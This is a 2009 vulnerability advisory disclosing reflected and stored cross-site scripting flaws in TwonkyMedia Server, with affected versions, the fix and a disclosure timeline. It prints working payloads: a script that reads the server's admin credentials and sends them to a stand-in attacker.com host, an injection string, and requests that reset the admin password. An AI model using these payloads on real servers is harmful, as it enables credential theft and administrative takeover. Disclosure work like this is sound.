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Title: TwonkyMedia Server Multiple Cross-Site Scripting Vulnerabilities
Product: TwonkyMedia Server
Vendor: TwonkyMedia (PacketVideo Corporation), http://www.twonkymedia.com
Author: Davide Canali
E-mail: davide (at) davidecanali (dot) com
Date: 2009-10-21
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1. BACKGROUND:
TwonkyMedia Server is a DLNA-compliant, UPnP AV-compliant software
that allows to share and stream media to hundreds of popular consumer
electronics devices. It is available for Windows, Linux, Macintosh and
for various different architectures.
TwonkyMedia Server is bundled on a variety of CE and NAS devices from
leading manufacturers, including: Buffalo LinkStation, HP Media Vault,
LaCie Ethernet Disk, Philips Streamium music players, Western Digital
Share Space.
2. DESCRIPTION:
TwonkyMedia Server contains multiple Cross-Site Scripting (XSS)
vulnerabilities.
The TwonkyMedia web server fails to adequately sanitize user input
(HTTP request strings and form input); thus, an attacker may be able
to execute arbitrary script code in a victim's browser.
3. DETAILS
Two main vulnerabilities have been found.
The TwonkyMedia server IP address, in the following, is just denoted
as "twonky".
1st VULNERABILITY:
==================
A HTTP GET request at http://twonky:9000/NON-EXISTENT-PAGE results in
a 404 error page containing:
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not
Found</H1>/NON-EXISTENT-PAGE was not found
on this server.</BODY></HTML>
Thus, an attacker could induce the server administrator (victim) in
clicking on a specially crafted link, pointing to:
http://twonky:9000/fake_config_page<script type="text/javascript"
src="http://attacker.com/malicious.js" ></script>
Clicking this link, the victim loads and executes the attacker's script.
An example of this script can be:
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4)
{
document.location="http://attacker.com/get.php?data="+escape(xmlhttp.responseText);
}
}
xmlhttp.open("GET","/rpc/get_all",true);
xmlhttp.send(null);
This script allows the attacker to read all the server configuration
variables, including the administrator's username and password.
(The victim, if not already logged on the twonky media server
configuration panel, is asked for username and password)
2nd VULNERABILITY:
==================
Form inputs are not well validated, so an attacker can even run a
Stored Cross-Site Scripting. Most of the pages of the management
interface are vulnerable.
As an example, writing the following string in one of the "Content
Locations" fields in the "Sharing" setup page results in a Stored XSS,
which can be exploited by a malicious user every time the victim
visits the config page, once infected:
Directory" /><script> alert('stored!');</script><br
In this way, the page can arbitrarily and permanently be modified by
an attacker, who can inject any kind of content in it.
In addition, leveraging one of these vulnerabilities, an attacker can
modify any server configuration parameter. As an example, to modify
the administrator username and password once the victim visits the
page, it is sufficient to include a script that sends 2 requests at:
http://twonky:9000/rpc/set_option?accessuser=NEWUSER
http://twonky:9000/rpc/set_option?accesspwd=NEWPASSWORD
4. AFFECTED PRODUCTS
1st Vulnerability:
==================
TwonkyMedia Server 4.4.17 and prior versions
TwonkyMedia Server 5.0.65 and prior versions
This vulnerability has been fixed on versions 4.4.18+, 5.0.66+, and 5.1.X.
2nd Vulnerability:
==================
At this date, all versions of TwonkyMedia Server are still vulnerable.
5. SOLUTIONS
To fix the 1st vulnerability, upgrade to the latest version of
TwonkyMedia Server. Latest builds are available at:
http://twonkyforum.com/viewtopic.php?f=2&t=6678
6. DISCLOSURE TIMELINE
2009-06-01: Vendor notified
2009-06-08: Vendor response
2009-06-10: Status update from the development team
2009-06-10: Sent email stating that I'll publish the advisory once new
versions are released
2009-10-06: New releases checked; 2nd vulnerability was not fixed.
Vendor notified
2009-10-21: No response received; release of this advisory
===========================================================================
Davide Canali
davide (at) davidecanali (dot) com
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